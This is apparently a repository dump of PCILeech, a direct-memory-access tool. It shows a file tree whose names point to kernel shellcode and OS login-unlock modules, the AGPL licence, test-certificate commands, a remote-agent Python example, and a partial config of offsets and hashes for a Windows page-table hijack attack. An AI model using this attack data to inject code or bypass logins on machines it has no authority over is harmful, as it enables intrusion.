Project Path: arc_ufrisk_pcileech_tkg5vc_u Source Tree: ```txt arc_ufrisk_pcileech_tkg5vc_u ├── LICENSE ├── files │ ├── Certs │ │ └── readme.txt │ ├── agent-find-rwx.py │ ├── fbsdx64_filepull.ksh │ ├── lx64_exec_root.ksh │ ├── lx64_filedelete.ksh │ ├── lx64_filepull.ksh │ ├── lx64_filepush.ksh │ ├── macos_filepull.ksh │ ├── macos_filepush.ksh │ ├── macos_unlock.ksh │ ├── pcileech.icns │ ├── pcileech.txt │ ├── pcileech_gensig.cfg │ ├── signature_info.txt │ ├── stickykeys_cmd_win.sig │ ├── uefi_textout.ksh │ ├── uefi_winload_ntos_patch.ksh │ ├── unlock_macos.sig │ ├── unlock_win10x64.sig │ ├── unlock_win10x86.sig │ ├── unlock_win11x64.sig │ ├── unlock_win8x64.sig │ ├── unlock_winvistax64.sig │ ├── win7x64.kmd │ ├── winvistax64.kmd │ ├── wx64_driverinfo.ksh │ ├── wx64_driverload_svc.ksh │ ├── wx64_driverunload.ksh │ ├── wx64_filepull.ksh │ ├── wx64_filepush.ksh │ ├── wx64_pageinfo.ksh │ ├── wx64_pagesignature.ksh │ ├── wx64_psblue.ksh │ ├── wx64_pscmd.ksh │ ├── wx64_pscmd_user.ksh │ ├── wx64_pscreate.ksh │ ├── wx64_pskill.ksh │ ├── wx64_pslist.ksh │ └── wx64_unlock.ksh ├── includes │ ├── dokan.h │ ├── fileinfo.h │ ├── leechcore.h │ ├── leechgrpc.h │ ├── lib32 │ │ ├── leechcore.lib │ │ └── vmm.lib │ ├── lib64 │ │ ├── leechcore.lib │ │ └── vmm.lib │ ├── libpdbcrust.h │ ├── public.h │ ├── vmmdll.h │ └── vmmyara.h ├── pcileech │ ├── Makefile │ ├── Makefile.macos │ ├── charutil.c │ ├── charutil.h │ ├── device.c │ ├── device.h │ ├── executor.c │ ├── executor.h │ ├── extra.c │ ├── extra.h │ ├── help.c │ ├── help.h │ ├── kmd.c │ ├── kmd.h │ ├── memdump.c │ ├── memdump.h │ ├── mempatch.c │ ├── mempatch.h │ ├── ob │ │ ├── ob.h │ │ ├── ob_cachemap.c │ │ ├── ob_core.c │ │ ├── ob_map.c │ │ └── ob_set.c │ ├── oscompatibility.c │ ├── oscompatibility.h │ ├── pcileech.c │ ├── pcileech.h │ ├── pcileech.rc │ ├── pcileech.vcxproj │ ├── pcileech.vcxproj.filters │ ├── pcileech.vcxproj.user │ ├── shellcode.h │ ├── statistics.c │ ├── statistics.h │ ├── umd.c │ ├── umd.h │ ├── util.c │ ├── util.h │ ├── version.h │ ├── vfs.c │ ├── vfs.h │ ├── vfslist.c │ ├── vfslist.h │ ├── vmmx.c │ ├── vmmx.h │ └── wolf_icon.ico ├── pcileech.sln ├── pcileech_shellcode │ ├── fbsdx64_common.c │ ├── fbsdx64_common.h │ ├── fbsdx64_common_a.asm │ ├── fbsdx64_filepull.c │ ├── fbsdx64_stage2.asm │ ├── fbsdx64_stage3.asm │ ├── fbsdx64_stage3_c.c │ ├── info_kmd_core.txt │ ├── lx64_common.c │ ├── lx64_common.h │ ├── lx64_common_a.asm │ ├── lx64_exec_root.c │ ├── lx64_filedelete.c │ ├── lx64_filepull.c │ ├── lx64_filepush.c │ ├── lx64_stage2.asm │ ├── lx64_stage2_efi.asm │ ├── lx64_stage3.asm │ ├── lx64_stage3_c.c │ ├── lx64_stage3_pre.asm │ ├── lx64_vfs.c │ ├── macos_common.c │ ├── macos_common.h │ ├── macos_common_a.asm │ ├── macos_filedelete.c │ ├── macos_filepull.c │ ├── macos_filepush.c │ ├── macos_stage2.asm │ ├── macos_stage3.asm │ ├── macos_stage3_c.c │ ├── macos_unlock.c │ ├── macos_vfs.c │ ├── pcileech_shellcode.vcxproj │ ├── pcileech_shellcode.vcxproj.filters │ ├── pcileech_shellcode.vcxproj.user │ ├── statuscodes.h │ ├── uefi_common.c │ ├── uefi_common.h │ ├── uefi_common_a.asm │ ├── uefi_kmd.asm │ ├── uefi_kmd_c.c │ ├── uefi_textout.c │ ├── uefi_winload_ntos_kmd.asm │ ├── uefi_winload_ntos_kmd_c.c │ ├── uefi_winload_ntos_patch.c │ ├── wx64_common.c │ ├── wx64_common.h │ ├── wx64_common_a.asm │ ├── wx64_driverinfo.c │ ├── wx64_driverload_svc.c │ ├── wx64_driverunload.c │ ├── wx64_exec_user.asm │ ├── wx64_exec_user_c.c │ ├── wx64_filepull.c │ ├── wx64_filepush.c │ ├── wx64_pageinfo.asm │ ├── wx64_pagesignature.c │ ├── wx64_psblue.asm │ ├── wx64_pscreate.c │ ├── wx64_pskill.c │ ├── wx64_pslist.c │ ├── wx64_stage1.asm │ ├── wx64_stage2.asm │ ├── wx64_stage23_vmm.asm │ ├── wx64_stage23_vmm3.asm │ ├── wx64_stage2_hal.asm │ ├── wx64_stage3.asm │ ├── wx64_stage3_c.c │ ├── wx64_stage3_pre.asm │ ├── wx64_umd_exec.asm │ ├── wx64_umd_exec_c.c │ ├── wx64_unlock.c │ └── wx64_vfs.c ├── readme.md ├── usb3380.md └── usb3380_flash ├── linux │ ├── Makefile │ ├── pcileech_flash.c │ ├── readme.md │ └── readme_flash.txt └── windows ├── USB3380Flash │ ├── USB3380Flash.c │ ├── USB3380Flash.h │ ├── USB3380Flash.inf │ ├── USB3380Flash.user │ ├── USB3380Flash.vcxproj │ ├── USB3380Flash.vcxproj.filters │ └── USB3380Flash.vcxproj.user └── USB3380Flash_Installer ├── USB3380Flash_Installer.vcxproj ├── USB3380Flash_Installer.vcxproj.filters ├── USB3380Flash_Installer.vcxproj.user └── installer.c ``` `LICENSE`: ``` GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . ``` `files/Certs/readme.txt`: ```txt Example commands for generating test certificates used for gRPC mTLS remote connections. Password to the .pfx files: test Generate with commands: openssl req -x509 -newkey rsa:2048 -keyout client-tls.key -out client-tls.crt -days 365 -nodes -subj "/CN=localhost" openssl pkcs12 -export -out client-tls.p12 -inkey client-tls.key -in client-tls.crt -password pass:test openssl req -x509 -newkey rsa:2048 -keyout server-tls.key -out server-tls.crt -days 365 -nodes -subj "/CN=localhost" openssl pkcs12 -export -out server-tls.p12 -inkey server-tls.key -in server-tls.crt -password pass:test ``` `files/agent-find-rwx.py`: ```py # Example file to demonstrate remote python functionality with the LeechAgent. # # Example: # pcileech.exe -device -remote rpc://:host agent-execpy -in agent-find-rwx.py # # The python script will be executed in a child process to the LeechAgent in # the user-context of the LeechAgent. If the agent is running as a service this # is most likely SYSTEM. It's also possible to use this functionality to run # Python scripts on the remote host without using the memory analysis functionality. # # Please check out agent installation instructions at: # https://github.com/ufrisk/LeechCore/wiki/LeechAgent # https://github.com/ufrisk/LeechCore/wiki/LeechAgent_Install # # # Example to load LeechCore for Python connecting to the memory acqusition device # specified in the PCILeech -device parameter. Please uncomment to activate. # Guide at: https://github.com/ufrisk/LeechCore/wiki/LeechCore_API_Python # ''' import leechcorepyc lc = leechcorepyc.LeechCore('existing') print(lc) ''' # # Example to load MemProcFS for Python connecting to the memory acqusition device # specified in the PCILeech -device parameter. # For information about MemProcFS Python API please check out the wiki for API # usage examples and a youtube demo. # https://github.com/ufrisk/MemProcFS/wiki/API_Python # # import memprocfs vmm = memprocfs.Vmm(['-device', 'existingremote']) for process in vmm.process_list(): for entry in process.maps.pte(): if '-rwx' in entry['flags']: print(str(process.pid) + ': ' + process.name + ': ' + str(entry)) ``` `files/pcileech.txt`: ```txt Download the latest binaries from https://github.com/ufrisk/pcileech/releases/latest ``` `files/pcileech_gensig.cfg`: ```cfg # Configuration data for the Windows 8.1/10/2012R2/2016 pagetable hijack signature generator. # The signatures for the page table hijack attack requires (8192) two full pages of binary code # from Microsoft binaries we hash the required pages and ask the users of PCILeech to extract # the required code in order to avoid distributing potentially copyrighted Microsoft binary code. # # Each line represents a signature and populates a c-struct entry as per below: # # { # .szSignatureInfoDisplay = "ntfs.sys signed on 2014-10-15 (Windows 8.1 x64)", # .szFileName = "win8x64_ntfs_20141015.kmd", # .szSignatureInfo = "# ntfs.sys signed on 2014-10-15 (MJ_CREATE)", # .dwOffset1 = 0xd3000, # .dwOffset2 = 0x4a000, # .szHash1 = "1ac5c0df47e153480fc49bb3687df84473168bd65b4bb58ab3885f47a6116d1b", # .szHash2 = "a65cf907fb5aecb5d2a256b8a49706469025c740a896e3a8d0b27537f6fbbc6f", # .szSignatureData = ",d3920,DEFAULT_WINX64_STAGE1,4ad80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804a000100210001800a0003800c00018054010100080000001b00018001000000" # }, # # ntfs.sys signed on 2014-10-15 (Windows 8.1 x64);win8x64_ntfs_20141015.kmd;# ntfs.sys signed on 2014-10-15 (MJ_CREATE);0xd3000;0x4a000;1ac5c0df47e153480fc49bb3687df84473168bd65b4bb58ab3885f47a6116d1b;a65cf907fb5aecb5d2a256b8a49706469025c740a896e3a8d0b27537f6fbbc6f;,d3920,DEFAULT_WINX64_STAGE1,4ad80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,010003804a000100210001800a0003800c00018054010100080000001b00018001000000 ntfs.sys signed on 2015-12-30 (Windows 8.1 x64);win8x64_ntfs_20151230.kmd;# ntfs.sys signed on 2016-12-30 (MJ_CREATE);0xd1000;0x49000;65b0b0cf8a508d20cb6906fe4fea9e10a1c4398c4f5c4bbbc366383e06572695;6387547a0a12d5814681f0ed5fc47cd6aa31e8b4428bee8cf18081bb8ab57d67;,d1190,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100200001800a0003800c00018054010100080000001b00018001000000 ntfs.sys signed on 2017-09-09 (Windows 8.1 x64);win8x64_ntfs_20170909.kmd;# ntfs.sys signed on 2017-09-09 (MJ_CREATE);0xd0000;0x49000;a8857d9011802d52075b70854b2f7b83fc05b66e12bf212fbaee97779958afd8;3121c422abd92bba47dba5f660bc72e94b3ee5703857763b1b6498730499bc52;,d0c80,DEFAULT_WINX64_STAGE1,49d80,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3,0,0100038049000100210001800a0003800c00018052010100080000001b00018001000000 ntfs.sys signed on 2016-02-23 (Windows 10 x64);win10x64_ntfs_20160223.kmd;# ntfs.sys signed on 2016-02-23 